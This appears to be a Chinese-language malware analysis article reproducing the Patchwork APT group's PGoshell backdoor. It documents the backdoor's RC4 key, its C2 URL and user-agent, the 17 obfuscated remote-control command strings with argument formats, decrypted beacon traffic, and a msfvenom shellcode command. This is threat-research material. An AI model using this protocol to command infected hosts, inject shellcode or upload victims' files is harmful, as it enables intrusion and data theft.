Patchwork(白象)APT组织PGoshell后门攻击场景复现

APT 2周前 admin
149 0 0
文章首发地址:
https://xz.aliyun.com/t/15652
文章首发作者:
T0daySeeker

概述

在前两个月,笔者关注到白象APT组织使用的最新PGoshell 后门,所以当时就尝试对其进行了详细的研究,运气比较好,大部分指令都复现成功了,同时还学习到了GO语言木马开发的一些实战经验及技巧。

时隔两月,终于抽了一点空闲时间,准备将相关研究过程整理成文章,与大家一起分享。

整篇文章的思路与以往一样,主要还是从攻击场景复现、通信模型剖析、远控指令详解等多角度进行剖析的。由于在攻击场景复现环节中,部分远控指令还存在植入shellcode、下载提权脚本等行为,因此,笔者在复现过程中,还尝试结合了多个第三方工具对其进行完整复现,整体还是比较有意思的。

  • 木马分析:对木马通信过程中所涉及的关键功能进行详细的剖析;
  • 后门攻击场景复现:尝试模拟构建PGoshell后门的控制端Demo程序,还原PGoshell后门的攻击利用场景;
  • 远控指令详细剖析:对17个远控指令从反编译代码、功能复现、通信模型等多角度进行详细剖析;

「为了能让大家能够更直观的对此样本的攻击场景进行实战化感受,笔者将文章中所涉及的控制端Demo程序共享于百度网盘中,大家可以关注笔者“T0daySeeker”公众号,发送“PGoshell后门”关键字获取下载链接。为了避免控制端Demo程序被恶意使用,笔者对木马上线地址进行了限制:控制端Demo程序只接收192.168.XX.XX内网地址上线。」

木马分析

加解密算法

结合“知道创宇404实验室”发布的《威胁情报 |Patchwork 组织更新武器库,首次利用 Brute Ratel C4 和 PGoshell 增强版发起攻击》报告,我们可知PGoshell后门使用的加解密算法为RC4+base64,RC4的密钥为“0g8RXt137ODBeqPhTv2XYjgmnxUsijfc”。

相关报告截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

受控ID

通过分析,发现样本运行后,将检测HKCUSoftwareMicrosoftWinTemp注册表是否存在:

  • 若存在则获取temp键的值作为受控ID;
  • 若不存在则生成随机字符串并加密写入,该值将作为受控ID加密存放于POST请求载荷中;

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关注册表截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

Patchwork(白象)APT组织PGoshell后门攻击场景复现

外链获取公网IP

通过分析,发现样本运行后,将尝试外链https://ipwho.is/地址获取公网IP,提取country_code、ip字段作为POST请求载荷中的一部分。

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

远控指令

在梳理PGoshell后门的远控指令时,「笔者发现“知道创宇404实验室”报告中描述的远控指令字符串有点小问题(部分远控指令的字符串前后顺序错误),应该是分析人员直接从IDA中复制反编译字符串所致」

因此,在这里,我将重新梳理PGoshell后门的远控指令列表:

远控指令 功能
c?d????????e 执行shell
uwvtjpyvatmd 外链URL下载文件,指定保存路径
uijjxqdzdele 外链URL下载文件,保存至temp目录
ppkjidlmspplloff 外链URL下载并以指定父进程执行
s?p????????t 屏幕截图
undhpass 外链URL下载Powershell  Bypass-UAC脚本用于绕过UAC
ldump 外链URL下载文件,指定保存路径
ddmwbvctslqd 检查文件是否存在,存在则上传被控主机中的指定文件
pindhdgenfhj 外链URL下载shellcode并注入至notepad.exe程序运行
shpjduhjenume 利用WMI获取共享资源信息
getmdjfhhkjhsdfdc 获取域控信息
sryzsmensnum 外链URL下载Solo.zip,解压执行Solo.zip中的powershell提权枚举脚本
setndjfnblt 外链URL下载shellcode并通过QueueUserAPC注入至notepad.exe程序运行,shellcode执行结果将临时存放于C:WindowsTasksdd_Background7786329029.tmp文件中返回
midhenhhmidfds 外链URL下载shellcode并通过QueueUserAPC注入至notepad.exe程序运行,shellcode执行结果将临时存放于C:WindowsTasksBackgroundUsingMIMI.tmp文件中返回
passsmkldfdmm 外链URL下载shellcode并通过QueueUserAPC注入至notepad.exe程序运行,shellcode执行结果将临时存放于%temp%pasomano.tmp文件中返回
semnbhdndfenum SMB端口扫描
rdptidjkeephdnmak RDP端口扫描

后门攻击场景复现

为了能够更好的还原PGoshell后门的攻击利用场景,笔者尝试模拟构建了PGoshell后门的控制端Demo程序,目前可有效的与PGoshell后门进行交互,相关运行效果如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

远控指令详细剖析

为了能够更详细的对PGoshell后门的攻击场景进行复现,笔者准备对不同远控指令从反编译代码、功能复现、通信模型等多角度进行详细剖析。

远控指令运行参数

为了能够更好的对比PGoshell后门的远控指令,笔者对各远控指令的运行参数进行了梳理对比,详细情况如下:

远控指令 参数1 参数2
c?d????????e shell命令
uwvtjpyvatmd 外链URL地址 保存路径
uijjxqdzdele 外链URL地址
ppkjidlmspplloff 外链URL地址 指定父进程PID
s?p????????t

undhpass 外链URL地址
ldump 外链URL地址 保存路径
ddmwbvctslqd 文件路径
pindhdgenfhj 外链URL地址 crsfsdft、apcmjudk
shpjduhjenume

getmdjfhhkjhsdfdc

sryzsmensnum 外链URL地址 powershell脚本名
setndjfnblt 外链URL地址
midhenhhmidfds 外链URL地址
passsmkldfdmm 外链URL地址
semnbhdndfenum IP范围 端口
rdptidjkeephdnmak IP范围 端口

c?d????????e

通过分析,发现c?d????????e远控指令功能为执行shell命令,梳理c?d????????e远控指令的命令格式如下:

c?d????????e|ipconfig

远控功能复现情况如下:(公网IP为构造的IP地址)

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

通信模型剖析

梳理c?d????????e命令的通信模型如下:

  • POST请求https://cartmizer.info/lkqnzntawldqjlwdxivsnemw地址,User-Agent为固定的QllXjxbyEvMuARVOztDiSZDNtQQb值,用于检验是否为PGoshell的通信数据;
  • POST请求https://cartmizer.info/lkqnzntawldqjlwdxivsnemw地址,载荷中携带主机信息,用于获取远控指令;
#原始载荷数据
j8rlA5zQ_d8zafHyciloOqQSo7BlE5ctDsjhOUANTjqfG40uDdsQsWikG47LWGFytAsn80fezDgQyzqgjgO8-OmwZAdjK6_KQ7YhypSWwEfuYJu1cMWzRad__I4XfHuxMzTin2MgYr41-IlRJarYKeLynyXKL2eMXA8kV5vpt8hXnS0p41PcS5zhOvQ90dsd0KHp6IzkczLzr8OrQTpM4sQPDLaKH6xcgB0QXDIq0OEH

#第一层解密
1||jYDJX_3Ahshd||9v25XfO6hbRedIGoMW8-du4=||6f_XRI_Z_M0pF_rZNQ5YGrlPuOs-||6f_XRI_Z_M0pF_rZNQ5Y||6d_3DarjxKdbeuX2dShhJ6xO||jYKpWQ==||_YzFPLbxxfQwO9T3aC9QAr1YvvY_O61QFsX7Dg==||iII=

#第二层解密(公网IP为构造的IP地址)
1||36P68T1O1||HK 46.232.XXX.206||WIN-JMKXXXJC4OTadmin||WIN-JMKXXXJC4OT||Windows 7 Ultimate||3400||C:UsersadminDesktop2.exe||64
  • POST请求响应包载荷中携带远控指令
#原始载荷数据
3Yn9VvqriLhTZY//|18b6Bqvy3uA=||

#第一层解密
c?d????????e|ifconfig||
  • 继续POST请求https://cartmizer.info/lkqnzntawldqjlwdxivsnemw地址,载荷中携带远控指令响应数据
  • 当POST请求载荷中携带形如{"cr":"","res":"","ct":"", "tid":"", "suc":""}格式的载荷数据时,说明远控指令执行完毕
#原始载荷数据
xZT6G-eulbZOdpLoZDIufPocttJmCIAmVtjCVhhLK1-TIvgsAtwI7SywCtLJb1xEjjJfgCrMyBcrm1rM_RrFneipV1AWerOUQg==

#第一层解密
{"cr":"1","res":"7cP6CqDnxA==","ct":"cmhyhmjdhedsf""tid":"""suc":"1"}

#第二层解密
{"cr":"1","res":"Success","ct":"cmhyhmjdhedsf""tid":"""suc":"1"}

uwvtjpyvatmd

通过分析,发现uwvtjpyvatmd远控指令功能为外链URL下载文件,梳理uwvtjpyvatmd远控指令的命令格式如下:

uwvtjpyvatmd|https://192.168.65.1/uwvtjpyvatmd|C:UsersadminDesktoptestfile.txt

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

通信模型剖析

梳理uwvtjpyvatmd命令的通信模型如下:

  • POST请求https://cartmizer.info/lkqnzntawldqjlwdxivsnemw地址,User-Agent为固定的QllXjxbyEvMuARVOztDiSZDNtQQb值,用于检验是否为PGoshell的通信数据;
  • POST请求https://cartmizer.info/lkqnzntawldqjlwdxivsnemw地址,载荷中携带主机信息,用于获取远控指令;
  • POST请求响应包载荷中携带远控指令
#原始载荷数据
y8HvHa/kzvENLt3+|1sLtGf+7mLZVaJ6rN3kicO0F5K0lPIcWUtD6HUQdahk=|/YzFPLbxxfQwO9T3aC9QAr1YvvY/O60WXdP3DUwFYlOELq4=|

#第一层解密
uwvtjpyvatmd|https://192.168.65.1/uwvtjpyvatmd|C:UsersadminDesktoptestfile.txt|
  • 根据远控指令外链URL下载文件,并保存至指定路径;
  • 当POST请求载荷中携带形如{"cr":"","res":"","ct":"", "tid":"", "suc":""}格式的载荷数据时,说明远控指令执行完毕
#原始载荷数据
xZT6G-eulbZOdpLoZDIufPp0jPgWG70AQNjlOlImPinDN5kvcf4XtAyuEeHySA8QqgwZ_Dmq6QkJ4AyhmnqUi6b-GFBPLKCMHfUw47iu-WHCXqLoZKHAF99FxN9sOiWle0vzqHcxKvxcrclJ

#第一层解密
{"cr":"1","res":"_YzFPLbxxfQwO9T3aC9QAr1YvvY_O60WXdP3DUwFYlOELq4=","ct":"uwvtjpyvatmd""tid":"""suc":"1"}

#第二层解密
{"cr":"1","res":"C:UsersadminDesktoptestfile.txt","ct":"uwvtjpyvatmd""tid":"""suc":"1"}

ppkjidlmspplloff

通过分析,发现ppkjidlmspplloff远控指令功能为外链下载文件并以指定父进程执行,梳理ppkjidlmspplloff远控指令的命令格式如下:

ppkjidlmspplloff|https://192.168.65.1/uijjxqdzdele.exe|3204

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

s?p????????t

通过分析,发现s?p????????t远控指令功能为截屏,梳理s?p????????t远控指令的命令格式如下:

s?p????????t

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

undhpass

通过分析,发现undhpass远控指令功能为外链下载Bypass-UAC脚本用于绕过UAC,梳理undhpass远控指令的命令格式如下:

undhpass|https://192.168.153.1/powershell.ps1

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

Patchwork(白象)APT组织PGoshell后门攻击场景复现

ddmwbvctslqd

通过分析,发现ddmwbvctslqd远控指令功能为上传被控主机中的指定文件,梳理ddmwbvctslqd远控指令的命令格式如下:

ddmwbvctslqd|C:UsersadminDesktop1.txt

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

Patchwork(白象)APT组织PGoshell后门攻击场景复现

pindhdgenfhj

通过分析,发现pindhdgenfhj远控指令功能为从指定url下载shellcode并注入notepad.exe,梳理pindhdgenfhj远控指令的命令格式如下:

pindhdgenfhj|https://192.168.65.1/shellcode|apcmjudk

为了能够完整复现shellcode注入过程,笔者使用msf生成shellcode载荷,并通过远控指令注入至notepad.exe进程中,注入成功后,shellcode将反弹cmd至msf中。

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

Patchwork(白象)APT组织PGoshell后门攻击场景复现

shpjduhjenume

通过分析,发现shpjduhjenume远控指令功能为利用WMI获取Win32_Share类(Windows 操作系统上的共享资源信息)信息:共享文件夹等。

梳理shpjduhjenume远控指令的命令格式如下:

shpjduhjenume

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

midhenhhmidfds

通过分析,发现midhenhhmidfds远控指令功能为使用shellcode执行指定功能,执行逻辑如下:

  • 外链下载shellcode并通过QueueUserAPC注入notepad.exe执行;
  • 休眠10秒;
  • 执行结果将存放于C:WindowsTasksBackgroundUsingMIMI.tmp文件中;
  • 返回BackgroundUsingMIMI.tmp文件内容;
  • 删除BackgroundUsingMIMI.tmp文件;

梳理midhenhhmidfds远控指令的命令格式如下:

midhenhhmidfds|https://192.168.65.1/shellcode

为了能够完整复现shellcode功能,笔者使用msf生成可执行任意命令的shellcode载荷,msf命令如下:

msfvenom -p windows/x64/exec CMD="cmd.exe /c echo 'Hello, World' > C:WindowsTasksBackgroundUsingMIMI.tmp" -f hex

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

semnbhdndfenum

通过分析,发现semnbhdndfenum远控指令功能为SMB端口扫描。

梳理semnbhdndfenum远控指令的命令格式如下:

semnbhdndfenum|192.168.65.1/24|445

远控功能复现情况如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关解密后通信数据包截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现

Patchwork(白象)APT组织PGoshell后门攻击场景复现

相关代码截图如下:

Patchwork(白象)APT组织PGoshell后门攻击场景复现


原文始发于微信公众号(T0daySeeker):Patchwork(白象)APT组织PGoshell后门攻击场景复现

版权声明:admin 发表于 2024年9月19日 下午5:22。
转载请注明:Patchwork(白象)APT组织PGoshell后门攻击场景复现 | CTF导航

相关文章